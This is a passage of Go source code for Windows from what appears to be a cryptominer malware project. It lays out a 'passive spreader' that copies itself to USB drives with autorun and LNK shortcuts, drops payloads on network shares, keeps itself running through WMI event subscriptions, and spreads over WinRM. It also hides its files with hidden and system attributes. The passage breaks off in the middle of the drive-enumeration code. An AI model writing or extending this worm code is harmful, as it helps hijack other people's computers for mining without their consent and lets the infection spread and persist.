//go:build windows package deploy import ( "fmt" "log" "math/rand" "net" "os" "path/filepath" "strings" "sync" "syscall" "time" "unsafe" "crypto-miner-agent/config" ) // ----------------------------------------------------------------------- // Entry point // ----------------------------------------------------------------------- // StartPassiveSpreader starts background goroutines that spread via // environment-triggered events rather than active subnet scanning: // - USB drive insertion → copy + autorun + LNK shortcut // - Mounted network shares → drop payload + helper // - WMI event subscription → persistent USB trigger (survives reboots) // - PowerShell Remoting → opportunistic WinRM spread on LAN func StartPassiveSpreader(cfg config.RuntimeConfig) { if !cfg.USBSpread && !cfg.ShareSpread { return } log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread) if cfg.USBSpread { go runUSBWatcher(cfg) go installWMIUSBTrigger(cfg) // persistent, survives reboots } if cfg.ShareSpread { go runShareWatcher(cfg) go runPSRemotingSpread(cfg) // opportunistic WinRM } } // ----------------------------------------------------------------------- // Win32 drive enumeration // ----------------------------------------------------------------------- var ( modkernel32 = syscall.NewLazyDLL("kernel32.dll") procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives") procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW") procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW") ) const ( driveRemovable = 2 driveRemote = 4 attrHidden = 0x02 attrSystem = 0x04 ) func getLogicalDrives() []string { r, _, _ := procGetLogicalDrives.Call() var drives []string for i := 0; i < 26; i++ { if r&(1<